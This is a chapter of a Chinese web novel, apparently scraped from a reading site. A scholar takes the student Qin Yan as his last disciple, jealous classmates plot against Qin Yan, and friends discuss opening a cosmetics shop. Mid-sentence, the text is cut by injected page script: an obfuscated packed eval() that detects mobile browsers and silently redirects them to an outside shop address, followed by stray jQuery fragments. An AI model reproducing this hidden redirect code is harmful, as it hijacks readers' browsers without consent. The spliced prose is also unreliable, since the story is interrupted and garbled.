顾夫子双手护住背后的秦晏:“这你别管,跟你没干系!”

    崔雍一看,嘿,还有什么不明白的,这老小子的毛病又犯了,找到心仪的弟子却又不着急,非要考察个一年半载的。

    他可是清楚地记得,几年前他看中了一个人,想要收人家当弟子,也没跟人家透露风声,想着考察一段时间,结果,被另一个大儒看中抢先一步收为弟子。

    为这事,他可是嘲笑了顾怀安好久,结果现在又搞这一出。

    他背着手,冷哼一声:“没干系就没干系!对了,你怎么在这里?不是说好的在明道书院等我么?”

    顾夫子:“还不是你没有按时到,我担心你出点问题,这才出来找你。”

    崔雍摸了摸鼻子,有点不好意思,人家担心他,结果他却差点挖了他的墙脚,把他看中的关门弟子给抢了。

    顾夫子解决掉崔雍,这才转身看向秦晏,他轻咳一声,捋了捋胡须,强行压下心中升起的羞窘,拿出作为夫子的威严。

    “秦晏,原本是想着等你升到丙班之后才跟你提的,既然你现在也知道,便也提前说了,老夫缺一个关门弟子,你哪方面都十分合老夫的意,不知你意下如何?”

    秦晏愣了一下,而后十分干脆地点头道:“顾夫子,我愿意当您的弟子!”

    “好!好!好!”顾夫子非常高兴。

    他伸手拍了拍秦晏的肩膀:“等升班后,你找个时间来找我拜师。”

    “是!”秦晏道。

    顾夫子简单交代几句后,便死死拉上崔雍离开了。

    “秦兄,恭喜啊!”余征笑眯眯地冲秦晏拱手道喜。

    秦晏笑了笑,这件喜事直接把他今日产生的烦闷冲没了,有了顾夫子当老师,他的学识水平肯定能像是坐上火箭一般一飞冲天。

    笑闹过后,余征这才想起来开口询问:“对了,秦兄,之前忘记问你了,你今日要办什么事情?”

    秦晏也没有隐瞒,直接道:“余兄也知道我需要每日喝药调养身体,一副药价值不菲,但我家中也只是依靠田产生活,无法支撑我长期喝药调养,我便想着今日在这清安县中看看,有没有什么合适的赚钱营生,但一圈逛下来,却并没有找到合适的。”

    余兄当即一拍胸脯道:“秦兄,这事情你找我啊!”

    “余兄,你对这些很了解?”

    “当然!我可是清安县有名的万事通,就没有我不知道的!而且,我爹可是清安县首富,这件事交给我,绝对帮你办得妥妥的!”

    “那便麻烦余兄了,走,今日我请客!”

    余征:“那我可就不客气了!”

    三人离开折桂楼门口,朝着最近的酒楼走去。

    在三人离开没多长时间,谢珏的身影出现在折桂楼拐角。

    今日他本来是计划来折桂楼参加聚会,但没想到刚走入一条小巷子,便又被人套了麻袋。

    幸好自己全力护住了脸,重新换了一身衣服后,也能出门见人。

    等到他走到折桂楼附近,便看到顾怀安一副急匆匆的模样,他悄然跟上,没想到竟来了折桂楼。

    接下来发生的事情他根本不想回忆。

    “可恶!”谢珏一拳砸在墙壁上,手背上伤口传来的疼痛以及他身上的疼痛,都没办法浇灭他心中的怒火,反而犹如添了一把柴,怒火燃烧得愈发旺盛起来。

    他转头就走,至于计划在中的折桂楼聚会,早就被他抛到了脑后,他来这里只是为他能成功拜师顾怀安增添筹码而已,现在既然已经不能拜师了,便也没用了。

    他回到了明道书院,这个时候书院中的学子已经走得差不多了,他来到墨竹斋第三间斋舍,敲了敲门。

    门被打开,陆观天出现。

    谢珏在开门的那一瞬,脸上便露出一副失落的模样。

    “谢兄,你不是已经回去了么?”

    谢珏低落地说:“是,但刚刚我遇到了顾夫子,正好看到他亲口说要收秦晏为关门弟子,心中颇感失落,却又无处诉说心中愁绪,也只能来找陆兄和王兄了。”

    坐在书桌前看书的王璟听到他这些话,拿着书的手一紧,猛地抬头看向他。

    “你说什么?顾夫子收了秦晏当关门弟子?”

    谢珏依旧一副低落的模样:“是,刚刚我亲耳听到的,错不了。”

    “这怎么可能!顾夫子怎么会收秦晏当弟子?我不信!”陆观天瞪大眼睛,不敢相信。

    谢珏开口:“秦晏的确是有过人之处,他之前读书并不如现在,现在学识水平突飞猛进,想来私底下刻苦读书,才有现在的成就,我还是不够勤奋,这才没被顾夫子选中。”

    陆观天一听,疑惑询问:“谢兄以前认识秦晏?”

    谢珏像是反应过来一般,他心虚一般眼睛看向其他地方:“不,不认识。”

    陆观天:“谢兄,你还是实话实说吧,你以前认识秦晏的话,那他以前的水平有这么高么?”

    谢珏像是被他逼得没办法一般,叹息一口道:“之前我和秦晏在一个私塾读书,那个时候他的水平在私塾里面也就排中等,和我相比却是不如的。”

    陆观天眼睛一亮:“果真如此?”

    “当真。”谢珏点头。

    陆观天看向王璟,想要说什么,但意识到谢珏的存在后,强行忍耐下来。

    谢珏当作没看到,又在这里待了一刻钟,说了些抱怨的话,这才离开。

    陆观天送人回来后,便小心关好门,坐在王璟对面道:“王兄,你什么想法?”

    王璟慢慢翻了一页,目光依旧放在书上:“什么什么想法?”

    “当然是你想不想当顾夫子的关门弟子?”

    “这又不是我想就能的,就算是没有秦晏,不是还有谢珏?怎么都轮不到我们。”

    “呵,那便想办法把他们都拉下水,那王兄便就有机会了不是么?”

    陆观天说完,盯着王璟。

    王璟慢慢抬头,对上他的眼睛,微微颔首。

    泰丰楼,是一座有着百年历史的酒楼,清安县的人请客吃饭第一选择便是来这里。

    三楼雅间,秦晏和余征碰了一杯一饮而尽,秦勇则是在一旁老老实实夹菜吃,根本不碰酒。

    “秦兄,要我说,你想要做点赚钱的营生,第一选择便是做胭脂铺子,毕竟女人的钱最好赚。”余征放下酒杯重

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17757585|209453||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    新倒了一杯,拿起筷子吃了一口菜。

    秦晏听到胭脂铺子,心中一动,不由想到了他大姐秦月。

    在原主的记忆中,秦月未出嫁前便对胭脂水粉十分感兴趣,还曾经自己制作过胭脂,只不过他对于制作出来的胭脂好坏并不清楚。

    也许,等等可以买些胭脂回去,她看看能否做出差不多的,最好是能更好。

    余征继续说:“第二选择便是做杂货铺,杂货看起来利润小,但每日盈利加起来却不少。”

    “还有一个,便是开一个小吃摊子,不过是有些累的,等有了本钱,便可以逐步升级租赁或购买一间店铺,请些人,慢慢朝着酒楼转变,等到了后面,钱、人脉便都有了。”

    他拿着酒杯轻轻摇晃,看向秦晏:“秦兄,你觉得哪个合适?”

    秦晏沉吟片刻后道:“多谢余兄,不过这并不是我一个人能决定,等回家后和爹娘商量一下再作决定。”

    余征点头:“也是,怎么也要知会伯父伯母一声才对,等秦兄有了决定,可以来找我,我知道哪里的铺面合适人流量大租金还便宜。”

    秦晏朝着余征举杯:“那便麻烦余兄了!”

    “这有什么麻烦!在书院的时候,我可没少麻烦秦兄。”

    秦晏笑了笑,这些时间相处下来,他便已经摸透了余征的性子,他自来熟,见谁都能聊三句,爱显摆,但没坏心思,并不会瞧不起人,对于人情世故那是一套一套的,但读书不行,如果不是他爹逼着,恐怕早就成日在外溜达成了一个纨绔。

    余征如此帮他,起码也要督促他考上秀才,如若不然他心中可是会不安的。

    正在喝酒的余征只觉得后背一凉,下意识目光扫向四周,没发现什么异样后,便只当作是自己的错觉。

    “那我们便先行离开了,明日巳时我便到书院,如果家中同意的话,便在明日把事情办妥。”秦晏道。

    “好,今日回去我便帮秦兄寻摸寻摸店铺,明日只要你租铺子,绝对能当天拿下!”余征拍着胸脯保证。

    “那边有劳余兄了!”

    余征身上带着点点酒气,背着手慢悠悠往家走,浑身都散发着喜气。

    刚走进花厅,便看到他爹正坐着品茶,他走过去直接伸手夺过茶杯一饮而尽。

    “爹,这茶不错。”他说着,又伸手倒了一杯,连饮三杯后,这才放下茶杯,坐到另一边。

    余爹看了他一眼:“今日喝酒了?和之前见到的那位秦公子?”

    余征点头:“对,爹,你可不知道,今日秦兄可真的是大出风头啊!”

    他说着,兴致勃勃地给他爹讲了一遍在折桂楼发生的事情,包括顾夫子和崔雍都想收秦晏为徒的事情,还提了一下秦晏想要租铺子赚钱的事情。

    余爹拿着茶杯若有所思,抬眸看向余征道:“你最近读书进步不小,是不是秦公子的功劳?”

    余征也没觉得不好意思,理所当然地说:“当然!如果不是秦兄,我恐怕现在还是考丙级。我跟你说,秦兄他啊……”

    余爹就这么笑眯眯地听着自家儿子夸赞秦晏,心中则是开始思忖起来,用什么办法可以让两人之间的关系更加牢固。